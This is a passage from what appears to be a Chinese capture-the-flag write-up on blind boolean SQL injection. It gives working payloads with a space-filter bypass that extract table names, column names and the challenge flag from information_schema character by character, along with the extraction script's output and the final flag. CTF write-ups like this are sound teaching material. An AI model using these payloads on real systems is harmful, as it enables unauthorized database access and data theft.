

其次对表中的数据库表名进行爆破，首先构造 payload 为：

```
' or !(ascii(mid((select table_name from information_schema.tables
where !(table_schema<>"heihiei") limit 1 offset %s) from %s for 1))<>%s)#
' or !(ascii(mid((select group_concat(table_name) from information_schema.tables
where !(table_schema<>"heihiei")) from %s for 1))<>%s)#
```

可知表名分别为：en f1ag findflag login

```
root@ubuntu:/home/hs/Desktop# python3.5 '/home/hs/Desktop/mangzhu.py'
e
en
en,
en,f
en,f1
en,f1a
en,f1ag
en,f1ag,
en,f1ag,f
en,f1ag,fi
en,f1ag,fin
en,f1ag,find
en,f1ag,findf
en,f1ag,findfl
en,f1ag,findfla
en,f1ag,findflag
en,f1ag,findflag,
en,f1ag,findflag,l
en,f1ag,findflag,lo
en,f1ag,findflag,log
en,f1ag,findflag,logi
en,f1ag,findflag,login
```

继续对数据表中的列名进行爆破，构造 payload 为：

```
' or !(ascii(mid((select column_name from information_schema.columns
where !(table_name<>"f1ag") limit 1 offset %s) from %s for 1))<>%s)#
' or !(ascii(mid((select group_concat(column_name) from information_schema.columns
where !(table_name<>"f1ag")) from %s for 1))<>%s)#
```

```
root@ubuntu:/home/hs/Desktop# python3.5 '/home/hs/Desktop/mangzhu.py'
i
id
id,
id,f
id,fl
id,fla
id,flag
```

最后爆破数据表的内容，构造 payload 为：

```
' or !(ascii(mid((select flag from f1ag limit 1 offset %s) from %s for 1))<>%s)#
' or !(ascii(mid((select flag from f1ag) from %s for 1))<>%s)#
```

```
root@ubuntu:/home/hs/Desktop# python3.5 '/home/hs/Desktop/mangzhu.py'
y
yo
you
youc
youca
youcan
youcanf
youcanfi
youcanfin
youcanfind
youcanfindf
```

```
youcanfindflaginthistable,zjgsctf{Welc0  
youcanfindflaginthistable,zjgsctf{Welc0M  
youcanfindflaginthistable,zjgsctf{Welc0Me  
youcanfindflaginthistable,zjgsctf{Welc0Me_  
youcanfindflaginthistable,zjgsctf{Welc0Me_7  
youcanfindflaginthistable,zjgsctf{Welc0Me_70  
youcanfindflaginthistable,zjgsctf{Welc0Me_70_  
youcanfindflaginthistable,zjgsctf{Welc0Me_70_W  
youcanfindflaginthistable,zjgsctf{Welc0Me_70_W3  
youcanfindflaginthistable,zjgsctf{Welc0Me_70_W3b  
youcanfindflaginthistable,zjgsctf{Welc0Me_70_W3bs  
youcanfindflaginthistable,zjgsctf{Welc0Me_70_W3bs9  
youcanfindflaginthistable,zjgsctf{Welc0Me_70_W3bs9L  
youcanfindflaginthistable,zjgsctf{Welc0Me_70_W3bs9L}
```

所以最终 flag 为：zjgsctf{Welc0Me_70_W3bs9L}
